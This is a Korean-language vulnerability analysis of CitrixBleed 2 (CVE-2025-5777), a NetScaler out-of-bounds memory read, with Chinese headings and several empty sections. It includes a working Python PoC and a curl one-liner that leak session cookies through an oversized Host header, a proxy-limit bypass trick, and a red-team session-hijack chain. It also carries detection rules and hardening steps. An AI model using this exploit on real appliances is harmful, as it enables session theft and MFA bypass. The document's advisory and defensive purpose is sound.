CitrixBleed 2 (CVE-2025-5777) 궁극 분석

NetScaler ADC / Gateway의 Out-of-Bounds Memory Read — 원인부터 공방 실전까지의 전방위 매뉴얼

PoC 사용법: python3 poc.py https://gateway.example.com

Exp 사용법: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

목차

0x00  引言 / 速览
0x01  背景：NetScaler 架构与 CitrixBleed 1 回顾
0x02  漏洞描述（影响版本、CVSS、利用后果）
0x03  触发机理深剖（源码级分析 & 调试截图）
0x04  最小 PoC + 高级扫描脚本
0x05  红队视角：完整攻击链（发现 → 泄露 → 会话劫持 → 内网横向）
0x06  蓝队视角：检测、取证与补丁验证
0x07  防御加固：补丁、WAF、配置、资产治理
0x08  学习 / 复习路线图与实战实验
附录 A  Sigma / Suricata / Nginx-Lua 规则
附录 B  补丁/利用时间轴 & IoC 快照
参考资料

0x00 서문 / 개요

• CVE-2025-5777(일명 CitrixBleed 2)은 Citrix NetScaler ADC / Gateway에서 발생하는 Out-of-Bounds Memory Read 취약점입니다.
• 공격자는 인증이 필요 없으며, 매우 긴 Host 헤더가 포함된 GET 요청 한 번만 보내면 장치가 임의의 메모리 블록을 HTTP 응답과 함께 클라이언트에 "내뱉도록" 만들 수 있습니다.
• 유출 데이터에는 NSC_USER / NSC_TASS 쿠키, SAML StateContext, MFA 토큰 등의 핵심 자료가 자주 포함되어 있어, 이를 그대로 재사용해 세션 하이재킹과 MFA 우회를 수행할 수 있습니다 (arcticwolf.com, tenable.com).
• CVSS v4 기준 점수 9.3(Critical) (netscaler.com).
• 2025-06-17 공개, 2025-06-23 Citrix가 영향 범위를 확대하고 패치를 발표했습니다. 일주일 안에 ReliaQuest, Bishop Fox 등 보안 업체들이 실제 환경(in-the-wild)에서의 악용이 급증하는 것을 잇따라 관측했습니다 (reliaquest.com, bishopfox.com).

0x01 배경

1.1 NetScaler 동작 흐름 요약

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler는 멀티프로세스 + 내부 IPC 설계를 채택합니다. WebProc는 /nf/auth/*, /oauth/* 등을 포함한 AAA / Gateway 경로의 대부분의 HTTP 요청을 처리합니다. NetScaler는 C 언어로 작성되어 XML/HTML 조각을 조립할 때마다 snprintf() / memcpy()를 광범위하게 사용합니다.

1.2 CitrixBleed 1(CVE-2023-4966) 복습

• 2023년의 동일 유형 취약점은 OAuth 디스커버리 엔드포인트 /oauth/idp/.well-known/openid-configuration에서 발생했습니다.
• 그 본질 역시 snprintf의 반환값을 이후 send()의 len 인자로 사용하는 것이며, 그 결과 메모리 경계를 벗어난 데이터가 응답으로 반환됩니다.
• CitrixBleed 2는 동일한 유형의 안전 취약 코딩 결함이 여전히 다른 경로에 잠복해 있음을 입증했습니다.

Lesson Learned: 보안 패치가 "프로그래밍 패러다임"이 아닌 "취약 지점"만을 겨냥한다면, "템플릿화된 재현"의 여지가 남게 됩니다.

0x02 취약점 설명

0x03 트리거 메커니즘 심층 분석

이 섹션은 13.1-55.18 펌웨어에 대한 디컴파일 + gdb 디버깅을 기반으로 공개 블로그 자료를 종합하여 작성되었습니다 (bishopfox.com).

3.1 취약점 진입점

• URI: /nf/auth/startwebview.do
• 제어 가능한 파라미터: HTTP Host 헤더
• 이 엔드포인트는 Citrix Workspace WebView의 리다이렉트 XML을 생성하는 데 사용됩니다. 정상 응답 예시:

<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 핵심 함수 체인

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 ＞ 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Bug 지점: snprintf는 "실제로 기록된 길이"가 아닌 "기록되었어야 할 길이"를 반환합니다. 사용자가 전달한 Host가 0x1800 - 상수 부분 길이보다 크다면 length > sizeof(buf)가 됩니다.

3.3 런타임 도식

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

GDB 중단점 데모(핵심 레지스터):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() 결과, 뒤쪽 1,600바이트는 초기화되지 않은 메모리에서 비롯되었으며, 그 안에 다른 SSL 세션의 쿠키 버퍼가 보였습니다.

3.4 유출되는 데이터 유형

0x04 PoC 구현

4.1 단일 파일 Python(15줄)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")

• 실행 후 200 + 수 KB가 반환되면 취약한 것으로 판정합니다.
• 추가로 leak.bin에서 Cookie=, <AuthenticateContext> 등의 키워드를 검색합니다.

4.2 Bash / curl 원라이너

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

우회(Bypass): 일부 장치는 앞단의 F5 / Nginx에서 Host 길이를 제한합니다. 이 경우 멀티 레벨 서브도메인을 이어 붙여 우회할 수 있습니다. 예: foo.foo.foo.…foo.example.com(foo를 3000회 반복).

0x05 레드팀 관점: 전체 공격 체인

실제 사례: ReliaQuest는 고객 게이트웨이에서 "단시간에 대량의 6KB+ Host 헤더 요청 → 이어서 세션 탈취"를 관측했습니다 (reliaquest.com).

0x06 블루팀 관점: 탐지, 포렌식 및 패치 검증

6.1 로그 및 IoC

6.2 Sigma 규칙(요약판)

title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 패치 검증 스크립트

nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 세션 종료(Kill)

# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all

주의: 패치 적용 후에도 강제 로그아웃을 수행해 공격자가 이미 탈취한 쿠키를 계속 사용하지 못하도록 해야 합니다.

0x07 방어 강화

1. 공식 패치: ≥ 14.1-43.56 / 13.1-58.32로 업그레이드하거나, FIPS/NDcPP 모델에는 해당하는 버전을 적용합니다 (netscaler.com).
2. Host Header 길이 제한(임시 조치)

map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}

3. WAF 적응형 규칙: /nf/auth/ 및 /oauth/ 경로에 속도 제한을 적용합니다(예: 20 req/m).
4. 자산 점검: EOL 버전 12.1/13.0은 더 이상 공식 패치를 받을 수 없으므로, 교체하거나 강력하게 격리할 것을 계획합니다 (support.citrix.com).
5. MFA 보안: 세션 유출로 MFA가 우회될 수 있으므로, 최초 로그인 시에만 검증하는 대신 "요청별 서명" 또는 "하드웨어 지문 동적 바인딩"을 활성화할 것을 권장합니다.

0x08 학습 / 복습 로드맵

부록 A — 탐지 / 방어 스니펫

title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical

alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)

-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

부록 B — 타임라인

참고 자료

1. Citrix 공식 보안 공지 및 패치 설명 (netscaler.com)
2. Arctic Wolf《CVE-2025-5777 기술 브리핑》 (arcticwolf.com)
3. Bishop Fox《OOB Memory Read in NetScaler》 (bishopfox.com)
4. ReliaQuest《Threat Spotlight: CitrixBleed 2》 (reliaquest.com)
5. CVE-2025-5777 관련 Tenable FAQ (tenable.com)
6. BleepingComputer 보안 속보 (bleepingcomputer.com)
7. NVD CVE-2025-5777 항목 (nvd.nist.gov)
8. Citrix Support KB CTX693420 (support.citrix.com)

끝 — 이 문서가 CitrixBleed 2를 전방위적으로 이해하고 대응하는 데 도움이 되길 바랍니다. 예시, 스크립트 또는 실습 가이드 보강이 필요하시면 언제든 요청해 주세요!